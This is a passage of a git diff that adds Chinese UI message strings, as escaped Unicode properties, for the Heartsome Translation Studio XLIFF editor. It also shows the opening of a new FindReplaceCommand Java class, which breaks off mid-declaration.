+dialog.CustomFilterDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u3002 +dialog.CustomFilterDialog.editCustom = \u7f16\u8f91 +dialog.CustomFilterDialog.topLbl = \u8fc7\u6ee4\u5668\u540d\u79f0\uff1a +dialog.CustomFilterDialog.andBtn = \u6ee1\u8db3\u4ee5\u4e0b\u6240\u6709\u6761\u4ef6 +dialog.CustomFilterDialog.orBtn = \u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6 +dialog.CustomFilterDialog.msg4 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u3002 +dialog.CustomFilterDialog.okBtn = \u4fdd\u5b58 +dialog.CustomFilterDialog.cancelBtn = \u5173\u95ed +dialog.CustomFilterDialog.msg5 = \u5f53\u524d\u8fc7\u6ee4\u5668\u5df2\u88ab\u4fee\u6539\u3001\u4e14\u5c1a\u672a\u4fdd\u5b58\uff0c\u5173\u95ed\u540e\u5c06\u4e22\u5931\u6b64\u6b21\u4fee\u6539\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +dialog.CustomFilterDialog.msg6 = \u8bf7\u8f93\u5165\u8fc7\u6ee4\u5668\u540d\u79f0\u3002 +dialog.CustomFilterDialog.tmpValue1 = \u5173\u952e\u5b57 +dialog.CustomFilterDialog.tmpValue2 = \u6279\u6ce8 +dialog.CustomFilterDialog.tmpValue3 = \u5c5e\u6027 +dialog.CustomFilterDialog.contain = \u5305\u542b +dialog.CustomFilterDialog.uncontain = \u4e0d\u5305\u542b +dialog.CustomFilterDialog.eq = \u7b49\u4e8e +dialog.CustomFilterDialog.neq = \u4e0d\u7b49\u4e8e +dialog.CustomFilterDialog.msg7 = \u8bf7\u8f93\u5165\u5173\u952e\u5b57\u7684\u6761\u4ef6\u503c\u3002 +dialog.CustomFilterDialog.msg8 = \u8bf7\u8f93\u5165\u6279\u6ce8\u7684\u6761\u4ef6\u503c\u3002 +dialog.TagNumberRequest.title = \u6807\u8bb0\u5e8f\u53f7 +dialog.TagNumberRequest.lblNumber = \u6807\u8bb0\u5e8f\u53f7\uff1a +dialog.UpdateNoteDialog.title = \u7f16\u8f91\u6279\u6ce8 +dialog.UpdateNoteDialog.noteGroup = \u6279\u6ce8 +dialog.UpdateNoteDialog.tableColumn1 = \u5e8f\u53f7 +dialog.UpdateNoteDialog.tableColumn2 = \u7528\u6237 +dialog.UpdateNoteDialog.tableColumn3 = \u65e5\u671f +dialog.UpdateNoteDialog.tableColumn4 = \u6279\u6ce8 +dialog.UpdateNoteDialog.tableColumn5 = \u5e94\u7528\u8303\u56f4 +dialog.UpdateNoteDialog.btnAdd = \u6dfb\u52a0(&A)... +dialog.UpdateNoteDialog.btnEdit = \u7f16\u8f91(&E)... +dialog.UpdateNoteDialog.btnDelete = \u5220\u9664(&D) +dialog.UpdateNoteDialog.loggerInfo = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u7684 note \u8282\u70b9\u65f6\u51fa\u73b0\u9519\u8bef +dialog.UpdateNoteDialog.msgTitle1 = \u63d0\u793a +dialog.UpdateNoteDialog.msg1 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u5219\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +dialog.UpdateNoteDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6279\u6ce8\u3002 +dialog.UpdateNoteDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6279\u6ce8\u3002 +dialog.UpdateNoteDialog.msgTitle2 = \u786e\u8ba4 +dialog.UpdateNoteDialog.msg4 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u6279\u6ce8\u5417\uff1f + +editor.NatTableConstant.CURRENT_TEXT = \u9009\u4e2d\u6587\u672c\u6bb5 +editor.NatTableConstant.ALL_TEXT = \u6240\u6709\u6587\u672c\u6bb5 +editor.StyledTextCellEditor.msg1 = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\u3002 +editor.StyledTextCellEditor.msg2 = \u6e90\u6587\u672c\u5904\u4e8e\u4e0d\u53ef\u7f16\u8f91\u72b6\u6001\u3002 +editor.TextPainterWithPadding.msg1 = NatTable \u5c1a\u672a\u521d\u59cb\u5316\u3002 +editor.XLIFFEditorActionHandler.msgTitle = \u9519\u8bef +editor.XLIFFEditorActionHandler.msg = \u4e0d\u5141\u8bb8\u5c06\u6e90\u6587\u5168\u90e8\u5220\u9664\uff0c\u8bf7\u91cd\u8bd5\u3002 +editor.XLIFFEditorImplWithNatTable.msg1 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\u3002\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +editor.XLIFFEditorImplWithNatTable.overwriteDialog = \u53e6\u5b58\u4e3a +editor.XLIFFEditorImplWithNatTable.msgTitle1 = \u53e6\u5b58\u4e3a\u65f6\u51fa\u9519 +editor.XLIFFEditorImplWithNatTable.msg2 = \u65e0\u6cd5\u5b8c\u6210\u4fdd\u5b58\uff0c\u9519\u8bef\u4fe1\u606f\uff1a\n{0} +editor.XLIFFEditorImplWithNatTable.msg3 = \u672a\u627e\u5230\u8981\u590d\u5236\u7684\u6587\u4ef6 {0}\u3002 +editor.XLIFFEditorImplWithNatTable.msgTitle2 = \u9519\u8bef +editor.XLIFFEditorImplWithNatTable.logger1 = [LOG] init(IEditorSite site, IEditorInput input) +editor.XLIFFEditorImplWithNatTable.msg4 = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +editor.XLIFFEditorImplWithNatTable.msgTitle3 = \u9519\u8bef +editor.XLIFFEditorImplWithNatTable.msg5 = \u8bf7\u9009\u62e9\u8981\u6253\u5f00\u7684\u6587\u4ef6\u3002 +editor.XLIFFEditorImplWithNatTable.translationItem = \u7ffb\u8bd1\u8fdb\u5ea6 +editor.XLIFFEditorImplWithNatTable.approveItem = \u6279\u51c6\u8fdb\u5ea6 +editor.XLIFFEditorImplWithNatTable.rowLocationStr = \ \u884c\u53f7 +editor.XLIFFEditorImplWithNatTable.btnAddFilter = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +editor.XLIFFEditorImplWithNatTable.btnAddFilterTooltip = \u7ba1\u7406\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +editor.XLIFFEditorImplWithNatTable.messageFormat1 = \u6587\u4ef6\uff1a{0} | \u884c\u53f7\uff1a{1} | \u53ef\u89c1\uff1a{2} | \u603b\u6570\uff1a{3} | \u7528\u6237\u540d\uff1a{4} +editor.XLIFFEditorImplWithNatTable.messageFormat2 = \u6587\u4ef6\uff1a{0} | \u53ef\u89c1\uff1a{2} | \u603b\u6570\uff1a{3} | \u7528\u6237\u540d\uff1a{4} +editor.XLIFFEditorImplWithNatTable.statusColumn = \u72b6\u6001 +editor.XLIFFEditorImplWithNatTable.msg6 = \u7a0b\u5e8f\u5185\u90e8\u9519\u8bef\uff0c\u8bf7\u8054\u7cfb Heartsome Translation Studio \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u4ee5\u4e0b\u9519\u8bef\u4fe1\u606f\uff1a\n\u5f53\u524d\u7684\u6570\u636e\u63d0\u4f9b\u8005\u7c7b\u578b {0} \u4e0d\u662f\u9884\u671f\u7684 ISpanningDataProvider\u3002 + +handler.ChangeEditorLayoutHandler.horizontalTooltip = \u5c06\u7f16\u8f91\u5668\u6539\u4e3a\u5782\u76f4\u5e03\u5c40 +handler.ChangeEditorLayoutHandler.verticalTooltip = \u5c06\u7f16\u8f91\u5668\u6539\u4e3a\u6c34\u5e73\u5e03\u5c40 +handler.CopySourceHandler.msgTitle = \u63d0\u793a +handler.CopySourceHandler.msg = \u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u5305\u542b\u201c\u5df2\u9501\u5b9a\u201d\u6587\u672c\u6bb5\uff0c\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5c06\u4e0d\u4f1a\u5bf9\u8fd9\u4e9b\u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u751f\u6548\u3002 +handler.DeleteCurrentSegmentAltTransHandler.msgTitle1 = \u786e\u8ba4 +handler.DeleteCurrentSegmentAltTransHandler.msgTitle2 = \u63d0\u793a +handler.DeleteCurrentSegmentAltTransHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u6587\u672c\u6bb5\u7684\u5168\u90e8\u5339\u914d\u5417\uff1f +handler.DeleteCurrentSegmentAltTransHandler.msg2 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +handler.DeleteCurrentSegmentAltTransHandler.msg3 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +handler.DeleteSelectionSegmentNotesHandler.msgTitle1 = \u786e\u8ba4 +handler.DeleteSelectionSegmentNotesHandler.msgTitle2 = \u63d0\u793a +handler.DeleteSelectionSegmentNotesHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u6587\u672c\u6bb5\u7684\u5168\u90e8\u6279\u6ce8\u5417\uff1f +handler.DeleteSelectionSegmentNotesHandler.msg2 = \u5220\u9664\u6279\u6ce8\u65f6\u51fa\u73b0\u9519\u8bef +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle1 = \u5220\u9664\u786e\u8ba4 +handler.DeleteSelectionSegmentTranslationsHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u6587\u672c\u6bb5\u7684\u7ffb\u8bd1\u5417\uff1f +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle2 = \u63d0\u793a +handler.DeleteSelectionSegmentTranslationsHandler.msg2 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5220\u9664\u5176\u8bd1\u6587\u3002 +handler.DeleteToEndOrToTagHandler.msgTitle = \u63d0\u793a +handler.SplitSegmentHandler.msgTitle = \u63d0\u793a +handler.SplitSegmentHandler.msg1 = \u8bf7\u5c06\u5149\u6807\u653e\u5728\u6e90\u6587\u4e2d\u8981\u5206\u5272\u7684\u4f4d\u7f6e\u3002 +handler.SplitSegmentHandler.msg2 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5206\u5272\u3002 +handler.SplitSegmentHandler.msg3 = \u65e0\u6cd5\u4ece\u6587\u672c\u6bb5\u9996/\u672b\u4f4d\u7f6e\u5206\u5272\uff0c\u8bf7\u9009\u62e9\u975e\u6bb5\u9996/\u6bb5\u672b\u4f4d\u7f6e\u8fdb\u884c\u5206\u5272\u3002 +handler.UpdateDataAndAutoResizeCommandHandler.logger1 = [LOG] \u65e0\u6cd5\u5c06\u503c\u66f4\u65b0\u4e3a\uff1a{0} + +changeCase.ChangeCaseHandler.msgTitle = \u63d0\u793a +changeCase.ChangeCaseHandler.msg1 = \u6240\u9009\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg2 = \u6240\u9009\u6587\u672c\u6bb5\u4e0d\u53ef\u7f16\u8f91\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg3 = \u6240\u9009\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg4 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 + +tags.DeleteAllTagsHandler.msgTitle = \u63d0\u793a +tags.DeleteAllTagsHandler.msg1 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5220\u9664\u5176\u5185\u90e8\u6807\u8bb0\u3002 +tags.DeleteAllTagsHandler.msg2 = \u4e0d\u5141\u8bb8\u5220\u9664\u6e90\u6587\u4e2d\u7684\u6807\u8bb0\u3002 + +translation.AddSegmentToTMHandler.msgTitle = \u63d0\u793a +translation.AddSegmentToTMHandler.msg = \u524d\u9762\u7684\u6587\u672c\u6bb5\u4e2d\u5df2\u65e0\u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5\u3002 +translation.ApproveSegmentHandler.msgTitle = \u6279\u51c6\u6587\u672c\u6bb5 +translation.ExecuteFuzzyTranslationHandler.task1 = \u6b63\u5728\u6267\u884c\u6279\u51c6\u64cd\u4f5c... +translation.ExecuteFuzzyTranslationHandler.task2 = \u7e41\u6b96\u7ffb\u8bd1\uff0c\u5904\u7406\u6587\u672c\u6bb5... + +menu.BodyMenuConfiguration.searchTM = \ \u76f8\u5173\u641c\u7d22... +menu.BodyMenuConfiguration.logger1 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msgTitle = \u63d0\u793a +menu.BodyMenuConfiguration.msg1 = \u8fdb\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.searchTermItem = \ \u672f\u8bed\u641c\u7d22... +menu.BodyMenuConfiguration.logger2 = [LOG] \u6267\u884c\u641c\u7d22\u672f\u8bed\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg2 = \u8fdb\u884c\u641c\u7d22\u672f\u8bed\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.emptyTranslationItem = \ \u672a\u7ffb\u8bd1 +menu.BodyMenuConfiguration.draftItem = \ \u8349\u7a3f +menu.BodyMenuConfiguration.translatedItem = \ \u5b8c\u6210\u7ffb\u8bd1 +menu.BodyMenuConfiguration.logger3 = [LOG] \u6267\u884c\u5b8c\u6210\u7ffb\u8bd1\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg3 = \u5b8c\u6210\u7ffb\u8bd1\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.approveItem = \ \u6279\u51c6 +menu.BodyMenuConfiguration.logger4 = [LOG] \u6267\u884c\u6279\u51c6\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg4 = \u6279\u51c6\u6587\u672c\u6bb5\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.signItem = \ \u7b7e\u53d1 +menu.BodyMenuConfiguration.isLockItem = \ \u9501\u5b9a/\u89e3\u9501 +menu.BodyMenuConfiguration.problemItem = \ \u6709\u7591\u95ee +menu.BodyMenuConfiguration.disAddToTMItem = \ \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93 +menu.BodyMenuConfiguration.addNoteItem = \ \u6dfb\u52a0\u6279\u6ce8... +menu.BodyMenuConfiguration.editNoteItem = \ \u7f16\u8f91\u6279\u6ce8... +menu.BodyMenuConfiguration.msg5 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6279\u6ce8\u3002 +menu.BodyMenuConfiguration.deleteNoteItem = \ \u5220\u9664\u6279\u6ce8 +menu.BodyMenuConfiguration.logger5 = [LOG] \u6267\u884c\u5220\u9664\u6279\u6ce8\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg6 = \u5220\u9664\u6279\u6ce8\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.deleteTransItem = \ \u5220\u9664\u8bd1\u6587 +menu.BodyMenuConfiguration.deleteTransItem.msg1 = \u5220\u9664\u8bd1\u6587\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff01 +menu.BodyMenuConfiguration.deleteTransItem.loger1 = \u53f3\u952e\u83dc\u5355\u6267\u884c\u5220\u9664\u8bd1\u6587\u51fa\u9519 + +menu.BodyMenuConfiguration.splitPointItem = \ XLIFF \u6587\u4ef6\u5206\u5272\u70b9 +menu.BodyMenuConfiguration.msg7 = \u65e0\u6cd5\u4e3a\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u6dfb\u52a0 XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u5355\u72ec\u6253\u5f00\u8981\u5206\u5272\u7684 XLIFF \u6587\u4ef6\u3002 +menu.BodyMenuConfiguration.msg8 = \u4e0d\u5141\u8bb8\u5728 XLIFF \u6587\u4ef6\u7684\u7b2c\u4e00\u4e2a\u6587\u672c\u6bb5\u4e0a\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u91cd\u65b0\u8bbe\u7f6e\u3002 +menu.BodyMenuConfiguration.msg9 = \u4e0d\u5141\u8bb8\u5728 XLIFF \u6587\u4ef6\u7684\u6700\u540e\u4e00\u4e2a\u6587\u672c\u6bb5\u4e0a\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u91cd\u65b0\u8bbe\u7f6e\u3002 + +dialog.FindReplaceDialog.Title = \u67e5\u627e/\u66ff\u6362 +dialog.FindReplaceDialog.findButton = \u67e5\u627e(&F) +dialog.FindReplaceDialog.findNextButton = \u67e5\u627e\u4e0b\u4e00\u4e2a(&N) +dialog.FindReplaceDialog.replaceButton = \u66ff\u6362(&R) +dialog.FindReplaceDialog.replaceAllButton = \u66ff\u6362\u6240\u6709(&A) +dialog.FindReplaceDialog.findLabel = \u67e5\u627e\uff1a +dialog.FindReplaceDialog.replaceWithLabel = \u66ff\u6362\u4e3a\uff1a +dialog.FindReplaceDialog.directionGroup = \u65b9\u5411 +dialog.FindReplaceDialog.forwardButton = \u5411\u524d(&O) +dialog.FindReplaceDialog.backwardButton = \u5411\u540e(&B) +dialog.FindReplaceDialog.rangeGroup = \u8303\u56f4 +dialog.FindReplaceDialog.sourceButton = \u6e90\u6587(&S) +dialog.FindReplaceDialog.targetButton = \u8bd1\u6587(&T) +dialog.FindReplaceDialog.optionsGroup = \u9009\u9879 +dialog.FindReplaceDialog.caseSensitiveButton = \u533a\u5206\u5927\u5c0f\u5199(&E) +dialog.FindReplaceDialog.wholeWordButton = \u6574\u8bcd\u5339\u914d(&W) +dialog.FindReplaceDialog.regExButton = \u6b63\u5219\u8868\u8fbe\u5f0f(&X) +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = \u672a\u627e\u5230\u6307\u5b9a\u5185\u5bb9\u3002 +dialog.FindReplaceDialog.status2 = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u66ff\u6362\u3002 +dialog.FindReplaceDialog.status3 = \u5df2\u66ff\u6362 {0} \u4e2a\u5339\u914d\u9879\u3002 + +undoable.UpdateDataOperation.msgTitle = \u63d0\u793a +undoable.UpdateDataOperation.msg = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u7f16\u8f91\u3002 +undoable.UpdateSegmentsOperation.msg1 = \u6279\u91cf\u4fee\u6539\u6e90\u6587\u6216\u8bd1\u6587\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +undoable.UpdateSegmentsOperation.msg2 = \u6709 {0} \u4e2a\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +undoable.UpdateSegmentsOperation.msg3 = \u64a4\u9500\u6279\u91cf\u4fee\u6539\u6e90\u6587\u6216\u8bd1\u6587\u64cd\u4f5c\u65f6\u51fa\u9519\uff0c\u65e0\u6cd5\u64a4\u9500\u3002 + +utils.NattableUtil.msgTitle = \u63d0\u793a +utils.NattableUtil.msg1 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.task1 = \u6b63\u5728\u6279\u51c6\u6587\u672c\u6bb5... +utils.NattableUtil.msg2 = \u6279\u51c6\u6587\u672c\u6bb5\u5e76\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u5f53\u524d\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u4e0d\u53ef\u7528\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +utils.NattableUtil.msg3 = \u5f53\u524d\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u5c06\u8df3\u8fc7\u5165\u5e93\u64cd\u4f5c\u3002 +utils.NattableUtil.task2 = \u6b63\u5728\u4fee\u6539\u6587\u672c\u6bb5\u72b6\u6001\u4e3a\u5df2\u6279\u51c6... +utils.NattableUtil.msg4 = \u5f53\u524d\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +utils.NattableUtil.msg5 = \u6709 {0} \u4e2a\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +utils.NattableUtil.task3 = \u6b63\u5728\u6539\u53d8\u5355\u5143\u683c\u7684\u7f16\u8f91\u6a21\u5f0f... +utils.NattableUtil.msgTitle2 = \u9519\u8bef +utils.NattableUtil.task4 = \u6b63\u5728\u6539\u53d8\u72b6\u6001... +utils.NattableUtil.msgTitle3 = \u5165\u5e93\u68c0\u67e5 +utils.NattableUtil.task5 = \u6b63\u5728\u6267\u884c\u5b8c\u6210\u7ffb\u8bd1... +utils.NattableUtil.task6 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... +utils.NattableUtil.msg6 = \u6dfb\u52a0\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u5f53\u524d\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u4e0d\u53ef\u7528\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +utils.NattableUtil.msg7 = \u5f53\u524d\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u5c06\u8df3\u8fc7\u5165\u5e93\u64cd\u4f5c\u3002 +utils.NattableUtil.task7 = \u7e41\u6b96\u7ffb\u8bd1... +utils.NattableUtil.msg8 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u672a\u7ffb\u8bd1\u6216\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u672a\u7ffb\u8bd1\u6216\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.msg9 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.mergeSegment.msgTitle = \u63d0\u793a +utils.NattableUtil.mergeSegment.msg1 = \u5408\u5e76\u6587\u672c\u6bb5\u81f3\u5c11\u9700\u8981 2 \u4e2a\u6587\u672c\u6bb5\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u672c\u6bb5\u3002 +utils.NattableUtil.mergeSegment.msg2 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5305\u542b\u5df2\u6279\u51c6\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg3 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5305\u542b\u5df2\u9501\u5b9a\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg4 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e0d\u5c5e\u4e8e\u540c\u4e00\u4e2a\u6587\u4ef6\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg5 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e0d\u662f\u8fde\u7eed\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 + +################################# 2012-09-11 \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.idColumn = No. + +################################# 2013-04-1\u3000robert \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.cantOpenNullFile = \u8be5 XLIFF \u6587\u4ef6\u4e2d\u4e0d\u5305\u542b\u53ef\u7ffb\u8bd1\u6587\u672c\u6bb5\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 + +# add by jason 2013-04-27 +utils.NattableUtil.msg.cantConnDefaultDb = \u8fde\u63a5\u5230\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25\uff0c\u65e0\u6cd5\u5b8c\u6210\u5165\u5e93\u52a8\u4f5c\uff0c\u662f\u5426\u7ee7\u7eed\uff1f + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommand.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommand.java new file mode 100644 index 0000000..af84db1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommand.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ISearchStrategy; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; + +public class FindReplaceCommand implements ILayerCommand { + + private ILayer context; + private final ISearchStrategy searchStrategy; + private final String searchText; + private final ICellSearchStrategy cellSearchStrategy; + private ILayerListener searchEventListener; + + public 